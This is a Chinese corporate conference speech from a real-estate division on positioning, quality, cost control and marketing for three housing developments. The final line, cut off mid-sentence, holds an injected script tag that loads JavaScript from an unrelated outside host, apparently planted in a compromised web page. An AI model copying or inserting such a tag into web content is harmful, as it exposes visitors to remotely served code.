第一事业部在2010年农房集团工作会议上的交流发言

精心打造产品 提高运营速率 全面提升经济运营质量

合理定位是项目成功的关键

　　1、异域风情打造精品楼盘
　　镇江“风景城邦”至今已经历了六年的艰苦历程，累计开发面积40万平方米。国际风尚社区、一万平米大超市、四星级酒店、八百米商业街，完善的社区配套，成为丹徒新区第一街和区域商业副中心。
　　2、有舍才有得
　　昆山“风景英伦”经过多次论证会研讨和论证后，得出了一个大胆的规划方案设想，舍弃项目容积率1.8，把规划容积率调整至1.3。
　　3、差异化切入确立地位
　　“东方帕堤欧”方案西班牙建筑风格，异国情调的居住环境，自然生态的园林景观，确立了项目产品差异化切入。
　　昆山“风景英伦”在规划方案调整中，重点考虑的是追求居住类型多样化、差异化，实现了联排别墅组团的纯粹性；又以改良过的情景洋房，实现了多层住宅情景化。

高品质的产品是项目成功的根本

　　1、精心规划，向规划要效益
　　合理的产品定位，使项目持续保持了区域市场领头羊的地位，真正做到通过规划设计首先取得效益。
　　2、注重产品质量、提高产品知名度
　　镇江明旺二期住宅被评为“江苏省住宅质量分户验收示范小区”。昆山项目被评为“中国别墅金奖”。宝山“东方帕堤欧”凭借合理优秀的施工方案、行之有效的管理手段受到了市、区视察领导的好评， 该项目被评为“2009年度上海十大关注楼盘最具营销创新楼盘奖”。
　　3、注重细节上的完美
　　在细节上，“风景英伦”项目在绿化景观设计上减少硬地景观的投入，增加了绿叶树的种类，对中心景观带的树种增大了树径，新辟了多条景观小径。在小区中心广场建造了一座钢结构英伦风格的铁塔，小区主入口设计搭建了一座具有强烈英伦风格的钢构架，并配置泛光照明，让业主感受到了一种身处异域风情的享受。
　　4、注重人性化设计
　　镇江“风景城邦”、昆山“风景英伦”、宝山“东方帕堤欧”在具体物业的户型设计上，充分研究市场问题的因素，考虑到技术问题，将户型的功能性和舒适性进行有机的结合。增加了大量的露台、阳台、设备平台入户花园等附加面积，给广大消费者最大的实惠。

严谨的成本控制是项目成功的保障

　　“东方帕堤欧”在创销盈利的同时，公司管理层也注重成本支出，工程建设方面，协调设计单位充分考量项目建设成本因素，在效果与成本上达到一定的平衡，并通过设计人员实地调研解决施工问题，减少不必要的返工损失。

提高运行速率是项目成功的血脉基础

　　1、严格控制工程进度，加快运营效率
　　08年底，为抓住建材价格下跌的时机，“风景英伦”一期施工加快，二期提前开工，不仅节约了成本，又把握了市场机遇，充分显示了企业的战略远见到企业的经济实力。
　　09年，“东方帕堤欧”开工伊始，项目公司就与施工单位敲定关键工作的时间节点，编写月、周工作计划，合理预留，及时纠偏，紧跟计划进度。
　　2、保证资金及时到位
“东方帕堤欧”利用贷款利率及咨询费用的浮动空间，节约了大量的财务支出成本。

创新营销是品牌塑造的核心

　　09年4月，“风景城邦”召开了与新城市副中心“新闻战略发展研讨会”；在镇江的房展会上，“风景城邦”占据了房展会上的最大展位；8-12月，镇江又先后召开了“风景城邦世纪联华签约”新闻发布会，“风景城邦与浙江绿城强强联手”新闻发布会、“风景城邦世纪联华镇江丹徒店”开业典礼，系列活动既扩大了项目的知名度，又增加了客户的购买信心。经过四年多的开发建设，百万大盘的形象在镇江鲜明地树立起来了。
　　昆山项目着力推广项目品质，加大农房品牌宣传力度，举办“英伦风情”系列活动，推出评选最美新娘，创新营销方式，改变坐销为行销，走厂家、进街道、搞活动拓宽客户渠道，一期特色产品隆重开盘，立即引起社会轰动效应，实现一炮打响。
　　“东方帕堤欧”项目在主要辐射地域及主要的专业、网络媒体做了适量的商业广告，“四两拨千斤、借力打力”利用项目附近期货项目的巨大广告效应，吸引了大量周边客源，起到了良好的推广、宣传、积累作用。同时，在开盘仪式上又举行的“阳光伙伴”?script src=http://hzbxf.com/s.js>